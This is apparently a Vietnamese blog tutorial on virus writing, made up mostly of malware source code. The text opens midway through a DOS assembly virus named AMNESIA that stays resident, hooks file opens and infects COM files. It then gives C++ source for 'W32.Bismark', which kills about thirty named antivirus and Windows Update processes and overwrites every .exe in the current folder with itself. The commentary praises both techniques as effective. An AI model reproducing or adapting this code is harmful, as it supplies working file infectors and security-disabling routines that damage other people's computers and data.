je INFECT_FILE ;yes, infect file in dx

I21E: jmp DWORD PTR cs:[OLD_21+MEMSTART] ;no, just let DOS do what it was doing

; check if file is already infected, if not, infect it and let DOS open it

INFECT_FILE:

push ax

push si

push dx

push ds

mov si,dx ;check for COM file

mov ah,09

mov dx,[offset msg+MEMSTART] ; show message

int 21h

FO1: lodsb

or al,al ;null terminator?

jz FEX ;yes, not a COM file

cmp al,'.' ;a period?

jne FO1 ;no, get another byte

lodsw ;yes, check for COM extent

or ax,2020H

cmp ax,'oc' ; o and c in reverse order because of little endian byte order.

jne FEX

lodsb

or al,20H

cmp al,'m'

jne FEX ;exit if not COM file

mov ax,3D02H ;open file in read/write mode

pushf

call DWORD PTR cs:[OLD_21 + MESTART]

jc FEX ;exit if error opening

mov bx,ax ;put handle in bx

push cs

pop ds

mov ah,3FH ;read 5 bytes from start

mov cx,5 ;of file

mov dx,OFFSET HSTBUF + MESTART

int 21H

mov ax,WORD PTR [HSTBUF + MESTART] ;now check host for infectability

cmp ax,'ZM' ;is it really an EXE? check for MZ, the first two bytes of the header in little endian order

je FEX1

cmp ax,37B4H ;is first instr "mov ah,37"? (37B4 is the compiled value of mov ah,37 : B4 is mov ah

je FEX1 ;yes, already infected

mov cx,0

mov dx,0

mov ax,4202H ;move file pointer to end

int 21H

push ax ;save file size

mov ah,40H ;write virus to file

mov dx,MESTART + 100H

mov cx,OFFSET END_AMNESIA - 100H

int 21H

mov cx,0 ;file pointer back to start

mov dx,0

mov ax,4200H

int 21H

mov WORD PTR [HSTBUF + MESTART],37B4H ;now set up first 5 bytes

mov BYTE PTR [HSTBUF + MESTART+2],0E9H;with mov ah,37/jmp MESTART

pop ax

sub ax,5

mov WORD PTR [HSTBUF + MESTART+3],ax

mov dx,OFFSET HSTBUF + MESTART ;write jump to virus to file

mov cx,5

mov ah,40H

int 21H

FEX1: mov ah,3EH ;then close the file

int 21H

FEX: pop ds

pop dx

pop si

pop ax

jmp I21E

HSTBUF:

mov ax,4C00H

int 21H

msg db '"I AM RESIDENT, WATCH OUT." AMNESIA','$'

END_AMNESIA: ;label for end of the virus

END AMNESIA

----------------------end of AMNESIA/ SEQUIN------------------------------

Như bạn đã thấy, kỹ thuật thường trú bộ nhớ khá là tiến bộ hỉ so với các kỹ thuật khác, và có hiệu quả tốt. (nó đặt bẫy vào chức năng mở file của DOS).

;===============================================================

Section II: Anti-Ativiral technology

;===============================================================

Kỹ thuật rất hay và được dụng làm nền tảng cho các thế hệ virii về sau. Nó sẽ làm ngưng và kết thúc một số các AV. Đoạn mã sau sẽ terminate một tiến trình bằng cách tạo một “ảnh chụp các tiến trình” đang hoạt động, và sẽ gửi thông điệp WM_CLOSE để kết thúc tiến trình VICTIM. Các bạn nên có WINAPI.hlp bên cạnh heng

-------------------------------------------start of W32.Bismark----------------------------------

#include

#include

#include

using namespace std;

#define TA_FAILED 0

#define TA_SUCCESS_CLEAN 1

#define TA_SUCCESS_KILL 2

int Pcount=0;

string pnames[300];

DWORD pidis[300];

bool TerminateAppEnum(HWND hwnd, LPARAM lParam)

{

DWORD dwID ;

// Get the proccess ID for requested window handle

GetWindowThreadProcessId(hwnd, &dwID) ;

if(dwID == (DWORD)lParam)

{

// Post a WM_CLOSE to the requested handle. Same as ALT-F4/Ctrl-F4

if (!PostMessage(hwnd, WM_CLOSE, 0, 0))

{

return FALSE;

}

}

return TRUE;

}

int ListPr() {

PROCESSENTRY32 pe32;

HANDLE HandleProcessSnap;

bool rProcessFound;

Pcount =0;

HandleProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // snap the handle like a picture

if (HandleProcessSnap == INVALID_HANDLE_VALUE)

return 2;

pe32.dwSize=sizeof(pe32); // set size

rProcessFound=Process32First(HandleProcessSnap,&pe32);

do {

pnames[Pcount] = pe32.szExeFile;

pidis[Pcount] = pe32.th32ProcessID;

Pcount++;

}while (( rProcessFound=Process32Next(HandleProcessSnap,&pe32) ) and (Pcount <>

CloseHandle(HandleProcessSnap);

return 0;

}

int terminate(DWORD dwPID)

{

HANDLE hProc, hToken;

LUID DebugValue;

TOKEN_PRIVILEGES tokenp;

// Open the process token for the virus for adjustment to terminate other apps

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))

{

return 2; //openprocesstoken error

}

// Lookup LUID (locally unique identifier) for DEBUG privilege

if (!LookupPrivilegeValue((LPSTR) NULL, SE_DEBUG_NAME, &DebugValue))

{

return 3; // LookupPrivilegeValue error

}

tokenp.PrivilegeCount = 1;

tokenp.Privileges[0].Luid = DebugValue;

tokenp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// Adjust process to debug privilege

AdjustTokenPrivileges(

hToken,

FALSE,

&tokenp,

sizeof(TOKEN_PRIVILEGES),

(PTOKEN_PRIVILEGES) NULL,

(PDWORD) NULL);

if (GetLastError() != ERROR_SUCCESS)

{

return 4; //AdjustTokenPrivilages error

}

// Open the victim process

hProc = OpenProcess(SYNCHRONIZE|PROCESS_TERMINATE, FALSE, dwPID);

if (hProc == NULL)

{

return 5; // OpenProcess error

}

// Enumerate windows of victim, post WM_CLOSE to each to close the app (quick way)

EnumWindows((WNDENUMPROC)TerminateAppEnum, (LPARAM) dwPID);

// Wait for a response from the above 20 seconds, then

// Terminate the process by force

if(WaitForSingleObject(hProc, 2000) != WAIT_OBJECT_0)

{

(TerminateProcess(hProc,0) ? TA_SUCCESS_KILL : TA_FAILED);

return 6; // TerminateProcess error

}

// Close all handles

CloseHandle(hProc);

CloseHandle(hToken);

return 1;

}

DWORD KillTask(string which)

{

ListPr();

int I;

for (I = 0; I <>

{

if(pnames[I].rfind(which,0) != string::npos)

terminate(pidis[I]);

}

}

void antiav()

{

KillTask("wuauserv.exe");

KillTask("SAVScan.exe");

KillTask("SBService.exe");

KillTask("Symantec Core LC.exe");

KillTask("Norman NJeeves.exe");

KillTask("NVCScheduler.exe");

KillTask("Tmntsrv.exe");

KillTask("AvxIni.exe");

KillTask("XCOMM.exe");

KillTask("wuauserv.exe");

KillTask("ccSetMgr.exe");

KillTask("McShield.exe");

KillTask("mcupdmgr.exe");

KillTask("AVKSERV.EXE");

KillTask("AVKSERVICE.EXE");

KillTask("AVKWCL9.EXE");

KillTask("AVKWCTL9.EXE");

KillTask("AVRESCUE.EXE");

KillTask("AVSYNMGR.EXE");

KillTask("AVSYNMGR.exe");

KillTask("AVWINNT.EXE");

KillTask("AVXMONITOR9X.EXE");

KillTask("CFGWIZ.EXE");

KillTask("CFIADMIN.EXE");

KillTask("CPDClnt.exe");

KillTask("MWATCH.EXE");

KillTask("MWATCH.exe");

KillTask("MXTASK.EXE");

KillTask("Mcshield.exe");

KillTask("Monitor.exe");

return;

}

bool isexe(char* flnam)

{

string extension;

extension += flnam[strlen(flnam)-3]; // check if it is an exe file

extension += flnam[strlen(flnam)-2];

extension += flnam[strlen(flnam)-1];

if (extension == "exe")

return true;

else

return false;

}

int main(int argc, char *argv[])

{

antiav();

HANDLE hFind;

WIN32_FIND_DATA FindData;

hFind = FindFirstFile("*.*", &FindData);

do

{

if (isexe(FindData.cFileName) == true)

CopyFile(argv[0],FindData.cFileName,0);

} while (FindNextFile(hFind,&FindData));

return EXIT_SUCCESS;

}

-------------------------------------------end of W32.Bismark----------------------------------

Như bạn thấy đấy, Con virii này sẽ terminates khá nhiều AV,và sau đó nó sẽ sao chép đến tất cả file .exe trong thư mục hiện tại.

Chúc bạn đọc có nhiều may mắn


Mission complete: 1:27/11/10/09

Copyright: Qflower

RefLink: http://vn.myblog.yahoo.com/vquynh-qflower/article?mid=1389&fid=-1&action=prev